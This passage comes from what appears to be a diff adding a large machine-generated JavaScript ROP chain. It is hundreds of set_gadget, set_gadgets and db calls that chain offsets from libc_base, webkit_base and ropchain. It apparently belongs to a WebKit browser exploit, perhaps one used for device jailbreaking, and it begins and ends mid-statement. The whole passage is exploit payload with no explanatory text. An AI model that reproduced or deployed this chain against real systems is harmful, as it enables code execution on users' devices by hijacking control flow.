0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+89880, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+89936, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+90008, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+90064, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+90168, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+90256, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+90272, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+90416, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+90384, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+90400, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+90488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+90544, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+90640, +webkit_base+4687784, +libc_base+768796 +]); +db([8, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+90736, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+90752, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+90840, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+90896, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+91016, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+91104, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+91120, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+91264, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+91232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+91248, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+91336, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+91392, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+91488, +webkit_base+4687784, +libc_base+768796 +]); +db([7, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+91584, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+91600, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+91688, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+91744, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+91816, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+91872, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+91976, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([40, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+92064, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+92080, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+92224, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+92192, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+92208, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+92320, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+92408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+92424, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+92568, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+92536, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+92552, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+92640, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+92696, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+92792, +webkit_base+4687784, +libc_base+768796 +]); +db([8, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+92888, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+92904, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+92992, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+93048, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+93120, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+93176, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+768796, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+93328, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+93416, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+93432, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+93576, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+93544, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+93560, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+93648, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+93704, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+93800, +webkit_base+4687784, +libc_base+768796 +]); +db([9, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+93896, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+93912, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+94000, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+94056, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+94128, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+94184, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+94288, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+94376, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+94392, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+94536, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+94504, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+94520, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+94608, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+94664, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+94760, +webkit_base+4687784, +libc_base+768796 +]); +db([6, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+94856, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+94872, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+94960, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+95016, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+95136, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+95224, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+95240, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+95384, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+95352, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+95368, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+95456, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+95512, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+95608, +webkit_base+4687784, +libc_base+768796 +]); +db([10, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+95704, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+95720, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+95808, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+95864, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+95936, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+95992, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+14572727, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+96144, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+96232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+96248, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+96392, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+96360, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+96376, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+96464, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+96520, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+96616, +webkit_base+4687784, +libc_base+768796 +]); +db([11, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+96712, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+96728, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+96816, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+96872, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+96944, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+97000, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+845410, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+97152, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+97240, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+97256, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+97400, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+97368, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+97384, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+97472, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+97528, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+97624, +webkit_base+4687784, +libc_base+768796 +]); +db([12, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+97720, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+97736, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+97824, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+97880, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+97952, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+98008, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+98160, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+98248, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+98264, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+98408, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+98376, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+98392, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+98480, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+98536, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+98632, +webkit_base+4687784, +libc_base+768796 +]); +db([13, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+98728, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+98744, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+98832, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+98888, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+98960, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+99016, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+99120, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+99208, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+99224, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+99368, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+99336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+99352, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+99440, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+99496, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+99592, +webkit_base+4687784, +libc_base+768796 +]); +db([5, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+99688, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+99704, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+99792, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+99848, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+99968, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+100056, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+100072, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+100216, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+100184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+100200, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+100288, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+100344, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, 